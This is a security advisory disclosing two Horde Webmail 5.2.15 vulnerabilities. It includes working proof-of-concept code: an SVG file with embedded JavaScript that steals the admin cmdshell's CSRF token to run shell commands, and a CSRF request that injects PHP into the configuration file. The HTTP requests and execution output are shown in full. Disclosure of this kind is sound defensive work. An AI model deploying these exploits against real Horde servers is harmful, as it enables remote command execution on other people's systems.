SSD Advisory – Horde Webmail Multiple Vulnerabilities

Vulnerabilities Description
The following report describes two (2) different vulnerabilities found in Horde Webmail (version 5.2.15), used by hundred of thousands websites around the world. The vulnerabilities allows the attacker to gain remote command execution.
The following vulnerabilities in Horde were found:

  • PHP script execution via CSRF attack
  • Upload an SVG image file containing malicious Javascript code

An independent security researcher Dawid Golunski ( has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Upload an SVG image file containing malicious Javascript code
Horde Webmail does not perform any validation in regards to SVG files. It is possible for the attacker to upload an SVG image file containing malicious Javascript code.
An attacker could send a victim, user or administrator, an SVG file which when it is opened within an email under Horde Webmail it would execute malicious Javascript code which performs certain unauthenticated actions on behalf of the user/administrator.
Because Horde Webmail contains a shell command tool within the administrator control panel, it is possible to exploit the issue to make an HTTP request to the cmdshell feature and gain command execution.
The cmdshell feature can be found at: https://[hostname]/horde/admin/cmdshell.php

<form action="/horde/admin/cmdshell.php" method="post">
  <input type="hidden" name="token" value="pUNc9wsuMSaFwFe-zlOMngO" />
  <input type="submit" class="horde-default" value="Execute" />

Proof of Concept
The cmdshell form contains an anti-CSRF token. To execute a request an attacker must extract the token.
An attacker can send a malicious SVG file by email with SVG image attachment, but he can also upload it using the FileManager feature:

POST /horde/gollem/ HTTP/1.1
Host: trusty
Content-Type: multipart/form-data; boundary=---------------------------4059810323176972821774920996
Content-Length: 3117
Content-Disposition: form-data; name="actionID"
Content-Disposition: form-data; name="chmod"
Content-Disposition: form-data; name="itemTypes[]"
Content-Disposition: form-data; name="file_upload_1"; filename="cmdsh_poc.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="" width="68" height="68" viewBox="-56 -56 99 99" version="1.1">
// Horde Webmail SVG/XSS cmdshell exploit
// by Dawid Golunski
function handler() {
  if(this.status == 200) {
    // success! Got token!
    // alert(this.responseText);
    var str = this.responseText.match(/input type="hidden" name="token" value="(.+)"/);
    var token = str[1];
    //alert("token: ["+token+"]");
    // Execute command via second HTTP (POST) request to cmdshell.php
    var req2= new XMLHttpRequest();"POST", "/horde/admin/cmdshell.php");
    req2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    req2.send("token=" +token+ "&amp;"+ "cmd=id+&gt;/tmp/HordeHacked");
  } else {
    //alert('something went wrong');
// Request token page and execute cmd via handler()
var req1 = new XMLHttpRequest();
req1.onload = handler;"GET", "/horde/admin/cmdshell.php");

The attacker can then share the entire folder with anyone by using this HTTP request:

POST /horde/services/shares/edit.php HTTP/1.1
Host: [hostname]
Content-Type: application/x-www-form-urlencoded
Content-Length: 229

And then access it using:
When the malicious SVG file is saved and shared, he can then simply copy the link to the file:
The link can now be sent to an administrator by email, or implemented within another website to be opened automatically.
The SVG presented above will automatically get CSRF token from cmdshell.php script, and eventually run the following command:

id >/tmp/HordeHacked

It is important to verify in the above PoC, that the webmail path (e.g. /horde) match the victim’s installation.
The SVG could contain a different payloads that perform different actions without user’s permission such as deleting their files, sharing their folders etc. Therefore, this issue can be exploited not only to execute shell commands in the context of an admin user but also to exploit normal users.
When admin opens the malicious SVG image, it will generate the following request and use it to fetch the CSRF token:

GET /horde/admin/cmdshell.php HTTP/1.1
Host: [hostname]

Then the following POST request will be sent (with stolen CSRF token):

POST /horde/admin/cmdshell.php HTTP/1.1
Host: [hostname]
Content-Type: application/x-www-form-urlencoded

Which will execute the command:

id >/tmp/HordeHacked

We can confirm that the command successfully executed by checking for the presence of the /tmp/HordeHacked file:

# ls -l /tmp/HordeHacked
-rw------- 1 www-data www-data 80 Apr 16 17:02 /tmp/HordeHacked
# cat /tmp/HordeHacked
uid=33(www-data) gid=33(www-data) groups=33(www-data)

As we can see, the command executed with apache/www-data privileges.
PHP script execution via CSRF attack
Installations of Horde Webmail with writable configuration files are vulnerable to arbitrary PHP script execution via CSRF attack. Write permissions are often set on config files to allow administrators to manage Horde installation through the web interface. Example vulnerable installation instructions with such permission set (linked from the official Horde website) can be seen at:
Proof of Concept
The following HTTP request:

POST /horde/admin/config/config.php HTTP/1.1
Host: [hostname]
Cookie: PHPSESSID=n5t7cf87oag4cdl61mg3uubni0; language=en_US; Horde=7utov6tlotiqoovi2qq2ktl890; horde_secret_key=7utov6tlotiqoovi2qq2ktl890
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 3338

Would make the configuration script assign the following value to the log_name parameter:


Due to missing input validation, the following configuration settings will be saved within /usr/share/horde/config/config.php:

$conf['auth']['params']['login_block_time'] = 5;
$conf['signup']['allow'] = false;
$conf['log']['priority'] = 'INFO';
$conf['log']['ident'] = 'HORDE';
$conf['log']['name'] = LOG_USER; file_put_contents('/tmp/hordhack','made it');
$conf['log']['type'] = 'syslog';
$conf['log']['enabled'] = true;

As soon as Horde web interface (e.g. http://server-domain/horde/) interface is accessed again, Horde will read its configuration and execute the injected script.
This can be verified by listing the file:

# ls -l /tmp/hordehack
-rw-r--r-- 1 www-data www-data 16 Apr 12 11:28 /tmp/hordehack
# cat /tmp/hordehack
made it!

Due to the missing CSRF token, such HTTP request could be performed on behalf of a victim user if they visit a malicious link provided by an attacker.
Vendor Response
Horde Webmail has released a patch and an advisory: